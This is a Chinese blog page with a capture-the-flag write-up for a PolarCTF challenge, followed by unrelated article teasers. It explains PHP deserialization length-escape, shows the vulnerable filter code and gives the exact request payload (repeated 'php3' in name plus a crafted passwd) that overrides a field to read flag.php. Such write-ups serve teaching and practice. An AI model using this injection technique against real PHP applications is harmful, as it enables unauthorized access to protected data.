news 2026/8/31 21:34:36

【PolarCTF】你想逃也逃不掉

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【PolarCTF】你想逃也逃不掉
<?php /* https://ytyyds.github.io/ (与本题无关) */ error_reporting(0); highlight_file(__FILE__); function filter($string){ return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string); } $user['username'] = $_POST['name']; $user['passwd'] = $_GET['passwd']; $user['sign'] = '123456'; $ans = filter(serialize($user)); if(unserialize($ans)[sign] == "ytyyds"){ echo file_get_contents('flag.php'); }

这题与《Unserialize_Escape》类似,考察的也是反序列化长度逃逸

区别在于《Unserialize_Escape》的长度是会从小变大,而这题长度是从大变小

# 正常我们的序列化状态 a:3:{s:8:"username";s:3:"dfz";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"123456";} # 我们想要的序列化状态 a:3:{s:8:"username";s:3:"dfz";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"ytyyds";} 这里尝试构造passwd,发现不太好构造,因为长度是从大变小,我从passwd构造可操作范围很局限,所以从username构造这样可操作空间比较大 # 我们需要的攻击向量,在{1}进行注入,注入时还要考虑到会有,passwd字段也会存在而且也会很长,所以我们需要拉长username的内容长度 # 把原本的passwd作为username的内容进行吞掉,然后逃逸出来使用我们自己定义的passwd字段 a:3:{s:8:"username";s:3:"【1】";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"123456";} a:3:{s:8:"username";s:28:"";s:6:"passwd";s:54:"xxxxxxx";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}
http://3b9121a3-7d2b-40d4-95fe-87af72e007ee.www.polarctf.com:8090/?passwd=xxxxxxx";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";} POST: name=php3php3php3php3php3php3php3

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/31 21:32:07

论文工具实测|零思路零数据成文,原生无空洞无需AI优化✅

深耕学术工具测评多年&#xff0c;发现绝大多数AI写作工具&#xff0c;始终逃不开一个致命短板&#xff1a;依赖用户基础素材与写作思路。用户若无选题方向、实验数据、文献积累&#xff0c;生成内容必然空洞悬浮、逻辑松散、模板化严重&#xff0c;机器生成痕迹极其明显。这也…

作者头像 李华
网站建设 2026/8/31 21:26:36

华通H6-1窗口证据采集仪驱动安装与故障排查全攻略

简介&#xff1a;本资源为华通H6-1窗口证据采集仪&#xff08;高拍仪&#xff09;专用驱动程序安装包&#xff0c;面向银行、政务大厅、法院及医疗机构等窗口服务单位的IT运维人员与设备管理员&#xff0c;解决设备无法识别、图像捕获异常、自动纠偏/裁剪功能失效等典型兼容性问…

作者头像 李华
网站建设 2026/8/31 21:23:00

MCP Agent实战:从零编写Server到LangChain/LangGraph工具调用集成

做 Agent 这个事&#xff0c;最难的不是把大模型的对话接起来&#xff0c;而是让模型在推理过程中真正能操作外部系统。MCP&#xff08;Model Context Protocol&#xff0c;模型上下文协议&#xff09;就是把“工具服务”标准化&#xff1a;文件、数据库、HTTP API、本地脚本&a…

作者头像 李华
网站建设 2026/8/31 21:17:57

Boost电路Matlab/Simulink仿真实战:从原理到闭环PI控制

Boost电路&#xff0c;也就是升压斩波电路&#xff0c;是电力电子领域最基础也最常用的拓扑之一。它不复杂&#xff0c;但电感电流连续模式&#xff08;CCM&#xff09;、断续模式&#xff08;DCM&#xff09;、占空比极限、带载能力这些问题&#xff0c;光看公式推导很难建立直…

作者头像 李华
网站建设 2026/8/31 21:17:32

管道组合 + 结构化输出:让 Claude 和 grep 并肩作战

管道组合 结构化输出&#xff1a;让 Claude 和 grep 并肩作战 系列第 2 篇 读完 6 分钟 前置&#xff1a;第 1 篇 Headless 入门 上篇说了 claude -p 单次调用。但这只是"问一句&#xff0c;答一句"。真正的威力在于把 Claude Code 串进 Unix 工具链——让它输出机…

作者头像 李华